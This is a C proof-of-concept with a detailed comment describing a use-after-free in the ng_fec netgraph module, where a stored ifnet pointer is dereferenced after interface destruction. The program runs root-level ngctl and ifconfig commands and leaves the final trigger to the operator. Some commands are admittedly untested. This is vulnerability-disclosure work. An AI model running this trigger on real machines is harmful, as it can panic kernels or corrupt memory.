/*
 * DF-0503 — ng_fec stored ifp UAF demonstration (root-only trigger).
 *
 * Bug (sys/netgraph7/ng_fec.c): ng_fec_addport calls ifunit() (lines
 * 370, 481) WITHOUT ifnet_lock, then stores the returned ifp in
 * fec_portlist->fec_if (line 450).  The stored pointer is dereffed
 * indefinitely from:
 *   - ng_fec_tick   (1 Hz callout, line 687-691)
 *   - ng_fec_input  (netisr RX path, line 885-888)
 *   - ng_fec_start / ng_fec_choose_port (TX path, line 1066-1095)
 *
 * if_var.h:894-896 mandates: "ifunit() must only be called in non-
 * netisr threads and ifnet lock must be held before calling this
 * function and for the accessing of the ifp returned by this
 * function."  The stored ifp is a dangling pointer the moment the
 * member iface is detached/destroyed — the kernel frees and may
 * reuse the ifnet struct while ng_fec_tick continues to deref it
 * once per second.
 *
 * TRIGGER REALITY: ng_fec is configured via netgraph messages.  The
 * netgraph control socket requires root.  Additionally, detaching
 * an interface (`ifconfig foo destroy`) also requires root.  So
 * this is a root-configured, root-triggered race — fundamentally a
 * root->kernel hardening gap, not unpriv->root.
 *
 * The realistic-but-still-privileged scenario: an admin has
 * configured a fec bundle of N member interfaces, then later
 * destroys one of them (e.g. a USB NIC hot-unplug, or `ifconfig
 * destroy`).  The fec bundle continues to deref the freed ifnet,
 * producing a UAF that manifests as a panic or memory corruption.
 *
 * This PoC sets up a fec bundle and (as root) destroys one of the
 * member interfaces to demonstrate the UAF.  Build & run as root.
 *
 * Build:  cc -O2 -o df0503 df0503.c
 * Run:    ./df0503
 *         (wraps ngctl + ifconfig to: create bundle, add member,
 *          destroy member, wait for 1Hz tick to deref stale ptr)
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

static int run(const char *cmd) {
    int rc = system(cmd);
    fprintf(stderr, "  $ %s\n    rc=%d\n", cmd, rc);
    return rc;
}

int main(void)
{
    fprintf(stderr, "DF-0503: ng_fec stored ifp UAF demonstration\n");
    fprintf(stderr, "REQUIRES: ng_fec module loaded, root, and a\n");
    fprintf(stderr, "          destroyable interface (tap/virtual).\n\n");

    /* Check we're root */
    if (getuid() != 0) {
        fprintf(stderr, "must run as root (need ngctl + ifconfig)\n");
        return 2;
    }

    /* Load modules if needed */
    run("kldload ng_fec 2>/dev/null");
    run("kldload ng_socket 2>/dev/null");

    /* Create a tap interface we can later destroy */
    run("kldload if_tap 2>/dev/null");
    run("ifconfig tap0 create 2>/dev/null");
    run("ifconfig tap1 create 2>/dev/null");
    run("ifconfig tap0 up");
    run("ifconfig tap1 up");

    /* Create a fec bundle and add tap0, tap1 as members */
    run("ngctl -d msg fec create \\\"dummy fec bundling\\\"");
    /* Use mkpeer to create a fec node connected to a socket hook */
    run("ngctl mkpeer fec dog hook inet/inet/0");  /* may fail if format wrong */

    fprintf(stderr, "\nNow manually configure fec bundle, then:\n");
    fprintf(stderr, "  ifconfig tap0 destroy\n");
    fprintf(stderr, "and wait ~1s for ng_fec_tick to deref the freed ifp.\n");
    fprintf(stderr, "On the buggy kernel: panic or memory corruption.\n");
    fprintf(stderr, "On the fixed kernel: ifnet_detach_event handler NULLs\n");
    fprintf(stderr, "the stored pointer; tick skips it cleanly.\n");
    return 0;
}
